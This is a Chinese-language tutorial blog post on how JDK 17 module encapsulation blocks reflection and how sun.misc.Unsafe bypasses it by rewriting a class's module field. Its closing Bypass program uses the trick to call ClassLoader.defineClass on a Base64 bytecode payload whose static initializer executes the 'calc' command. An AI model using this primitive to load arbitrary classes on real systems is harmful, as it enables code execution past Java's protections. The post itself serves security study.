JDK17反射限制

在JDK9至JDK16版本之中,Java.*依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*的非公共字段和方法的代码将抛出InaccessibleObjectException异常

比如下面获取ClassLoader的protected的defineClass方法

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Attack {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
}
}

会报这样的错误

image-20241030111739224

JDK模块化限制

为什么会这样被限制呢,这是由于在JDK9之后引入的模块化机制,指Java平台模块系统(Java Platform Module System,简称JPMS)

模块化机制的一些关键概念(由kimi生成):

  • 模块(Module):一个模块是一组相关的包的集合,这些包一起提供特定的功能。
  • 模块化路径(Module Path):模块化路径是类路径的替代品,用于指定模块的位置。
  • 模块描述符(Module Descriptor):一个模块的配置文件,通常名为module-info.class,它定义了模块的名称、所需的依赖、提供的服务以及对其他模块的依赖。
  • requires:在模块描述符中声明模块依赖,指定当前模块需要哪些其他模块。
  • exports:声明模块中的哪些包是可供其他模块使用的。
  • opens:声明模块中的哪些包是可供其他模块通过反射访问的。
  • uses:声明模块需要使用哪个服务提供者。
  • provides:声明模块提供了哪些服务实现。
  • transitive:依赖关系的传递性,即如果模块A依赖模块B,而模块B又依赖模块C,那么模块A也隐式地依赖模块C。

这些也可以去看一看JDK9的官方新特性说明:https://docs.oracle.com/javase/9/whatsnew/toc.htm#JSNEW-GUID-C23AFD78-C777-460B-8ACE-58BE5EA681F6

我们可以看看jdk17的jar包

image-20241030130830178

可以看到他的每个模块都是有module-info.class文件的

在JDK9新增了模块化服务之后,public、protected等访问权限修饰符就只在自己的模块里面生效,想在模块外被识别的话就需要使用exports关键字来导出

可以看看java本身的文件是怎么写的

image-20241030132815410

可以看到有很多常见类的导出,所以这些常见类平时才能被我们识别

而能否被反射访问是通过opens指令来定义的,我们可以随便找一个有opens指令的class文件来看看

比如这个

image-20241030133237491

这个的意思就是指定某些特定的模块才能在运行时对该模块下特定包下的类进行反射操作,to 后面跟模块名称。

只有opens 表示对所有模块开放反射

前面的模块中并没有对java.lang等等的class进行开放,所以我们也就无法反射获取其非public的字段和方法

Unsafe绕过

Unsafe介绍

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。

sun.misc和sun.reflect包下的我们是可以正常反射的,所以我们就可以利用到这个类,可以在源码中看到

image-20241030134455456

有关Unsafe类的更详细介绍参考这篇文章:https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html

在JDK17前Unsafe是有两个方法可以进行字节码的加载

在JDK11之前defineClassdefineAnonymousClass两种方法可以加载字节码,到JDK11就只剩下defineAnonymousClass一种方法,在JDK17之后这两种方法就都被移除了

所以JDK17前可以用下面这种方式来进行反射类的加载

Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
unsafe.defineAnonymousClass(Class.class,bytes,null).newInstance();

反射获取theUnsafe字段是因为该字段是单例模式

image-20241030135005733

不过也有静态方法来获取Unsafe实例,同样是返回theUnsafe字段的值

image-20241030135048330

JDK17Unsafe绕过

那么JDK17之后我们要怎么绕过呢?

我们反射调用非public的字段或方法时,java是在setAccessiable方法执行的时候抛出异常的,我们可以去看一下他异常抛出逻辑,直接根据报错的调用栈去看

image-20241030135950313

首先他会走到checkCanSetAccessible方法,从意思上也知道,就是检查能否设置权限的方法

image-20241030140555749

然后一路走到这里具体的判断逻辑在这,这里或获取反射目标的module和调用的类的module,然后判断他们是否为同一个module,或者是否为Object.class的module,Object.class的module就是java.base,再或者就是目标模块未定义模块名

后面还有一些相关的判断,但我们需要绕过的就是这一部分就不再分析了

看到这里我们也能知道我们的绕过思路是什么,就是修改当前类的Module和要反射修改的类的module一致即可

而Unsafe类就提供了这样的方法来修改module是我们绕过检查,就是通过修改偏移量,将我们的类的module修改成基础module

package org.example.Test;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Bypass {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAthdHRhY2suamF2YQwACgALBwAdDAAeAB8BAARjYWxjDAAgACEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAIgEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAwAIAA4ACwABAAwAAABUAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAgANAAAAFgAFAAAABgAJAAkADAAHAA0ACAAWAAoADwAAAAcAAkwHABAJAAEAEQAAAAIAEg==";
byte[] decode = Base64.getDecoder().decode(payload);
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
//获取ClassLoader的module
Module baseModule=Object.class.getModule();

Class<?> currentClass= Bypass.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,baseModule); //更改当前运行类的Module
//现在就能正常反射了
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", decode, 0, decode.length);
calc.newInstance();
}
}

image-20241030142827432

参考

https://aiwin.fun/index.php/archives/4389/

https://xz.aliyun.com/t/14048?time__1311=GqAxuDRD0GK7qGNPeeqBKquO1fq%2BfbD

https://xz.aliyun.com/t/15035?time__1311=GqjxuiqiuDgDlxGgx%2BxCwo4mhexcirc7%3DWoD